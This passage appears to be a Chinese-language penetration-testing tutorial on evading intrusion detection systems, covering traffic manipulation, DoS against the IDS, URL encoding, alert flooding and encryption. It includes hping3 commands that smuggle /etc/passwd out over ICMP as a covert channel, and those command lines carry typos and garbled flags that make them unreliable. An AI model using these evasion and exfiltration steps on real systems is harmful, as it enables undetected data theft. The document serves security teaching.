作為一個滲透測試者,必須弄清楚如何通過IDS。幸運的是,有很多種可選方法,下面將介紹幾種。
當工作在有IDS的系統時,一種避免檢測的有效方法是採用對抗或規避檢測的技術。當IDS丟棄了給定主機可以接受的資料包時,就會發生規避攻擊。如果巧妙而謹慎的執行規避攻擊,就可以攻擊IDS後面的主機,而不會使IDS發現,或至少無法及時發現。
規避攻擊具有高度技巧性,但是在欺騙IDS方面很有效。這種型別的攻擊可以通過以各種方式改變流量來完成,例如在位元組級別修改資訊,從而去除或丟棄實際上會提示或警告IDS的那部分資訊。通過IDS的另一種方式是利用IDS可能無法處理的協議中的漏洞或脆弱性。其例子之一是使用ICMP資料包攜帶被稱為ping的訊息。由於ping是網路活動的正常組成部分,IDS不會立即將其標記為惡意的,並且很可能會讓他們通過。
以IDS為目標
另一種繞過IDS的方法是對IDS進行拒絕服務攻擊。通過消重要資源(如記憶體和處理器),可用於檢測可能是實際攻擊的流量的資源將減少。這樣,不僅消耗了重要的資源,而且還可以將實際的攻擊隱藏在衝擊IDS的海量流量資訊中。
另外,如果針對IDS進行了DoS攻擊,就會發生有趣的事情:IDS工作不正常或者根本不起作用。要理解這一點,可設想IDS的功能,以及實現該功能需要多少資源。IDS需要嗅探流量並將流量與規則進行比較,執行該流程需要大量資源。如果這些資源被另一個事件所消耗,那麼將起到改變IDS行為的效果。
當遭遇足夠大的流量衝擊時,某些IDS可能會失效,此時他們會進入一個開放的狀態。這意味著,當因故障進入開放狀態時,IDS將不再執行其原定的功能。要使IDS脫離此狀態,可能需要重置IDS,或許他也可能會在攻擊停止後恢復正常工作。
混淆
由於IDS依賴於能夠分析干擾性的流量,因此模糊(obscuring)或者混淆(obfuscating)可能是一種有效的規避技術。這種技術依賴於以一種IDS不能“領悟”或“理解”,但目標可以“領悟”或“理解”的方式操縱資訊。該操作可以通過手動操作程式碼或通過使用混淆器來實現。
使用URL混淆是其中一例。例如,設想以下URL(這是一個虛擬的URL,但它顯示了攻擊者可能用以繞過檢測的方法):
www.wiley-test.com/cgi-bin/encode.c...
如果使用線上編碼器處理該URL,編碼器會將其從當前格式轉換為如下的十六進位制格式:
http%3A%2F%2Fwww.wiley-test.com%2Fcgi-bin%2Fencode.cgi
雖然此URL仍然可讀,但一些NIDS可能無法轉換十六進位制程式碼,從而錯過了可能本質上惡意的內容。這意味著NIDS可能“在眼皮底下”錯過了一個字面上“正常”的惡意內容,讓它未受任何之質疑的通過。
利用隱蔽通道
隱蔽通道(covert channel)是一種帶外傳輸的方式。這些通道使用系統的原始設計者無意或設計外的方法和機制,因此通常不受監控。
使用隱蔽通道的一種方式是使用隱寫術(steganography)將資訊隱藏在另一個看似無害的資訊中,例如影像或者其他資料。隱寫術固然有趣,在此介紹另一種方式,使用ICMP和hping3。
使用hping3建立資料包
hping3是一個用於建立自定義資料包、遠行自定義掃描和執行網路診斷的實用程式。雖然你可能已熟悉使用ping和其他網路程式,但可能還從未使用它們傳輸過檔案。下面介紹hping3如何做到這一點。
首先,在接收端系統上執行以下命令:hping3 -1 <ip address> -9 signature -I
該命令告訴hping,在特定的IP地址上傳送一個ICMP資料包(-1)。使用HPING3監聽模式選項,hping3會等待一個包含
signature
(簽名資訊)的資料包,並轉儲從簽名尾到資料包尾的資訊。例如,如果hping3 -listen TEST接收到一個包含234-09sd11kj$45-TESThello_world
的資料包,它將顯示hello_ world
。最後,-I標誌設定bping3在監聽某個特定的介面上,對本例而言是eth0。
以下則是傳送部分hpina3 -1 -e signature -E /etc/ passwd -d 2000
在第二個例子中,有兩個標誌(-E)和(-d)是不同的。一E告訴hping獲取指定檔案的內容,並使用它們填充資料包。-d選項設定傳送資料包的大小。
在發出此命令後,將使用ICMP傳輸該檔案。這種方法具備使用ping(這是網路上的常見事件)來承載隱藏的有效載荷的優點。如果謹慎地操作,可能很難甚至無法對其進行檢測。
狼來了
你是否聽說過在停車場或者家附近的汽車報警器被觸發,發出奇怪而瘋狂的噪音?這些警報的目的是,在有人試圖盜取車輛時,引起對該車的注意。但實際上,你曾見過有多少人在意該警報?如果你的經歷和筆者一樣,那麼答案應該是:不多。如果IDS以同樣的頻率,過於頻繁地發出警報,則很容易導致系統所有者感到厭煩,並不再重視,這意味著攻擊被系統管理員捕捉到的概率很低。
攻擊者可以針對IDS進行實際攻擊,使其對該活動作出反應並提醒系統所有者。如果反覆進行該操作,系統所有者將最終看到了充滿了“正在發生攻擊”資訊的日誌檔案,但沒有其他證據表明存在攻擊。最終,系統所有者可能會開始忽視這些警告,或者認為是誤報,並變得懈於觀察。這樣,攻擊者就可以無障礙的打擊他們的實際目標。
通過加密進行規避
前文介紹過的一些技術在此也值得重提:加密。在實踐中,一些IDS實際上無法處理加密的流量,因此會放其通過。事實上,加密是在所有的規避方法中最有效的一個。
本作品採用《CC 協議》,轉載必須註明作者和本文連結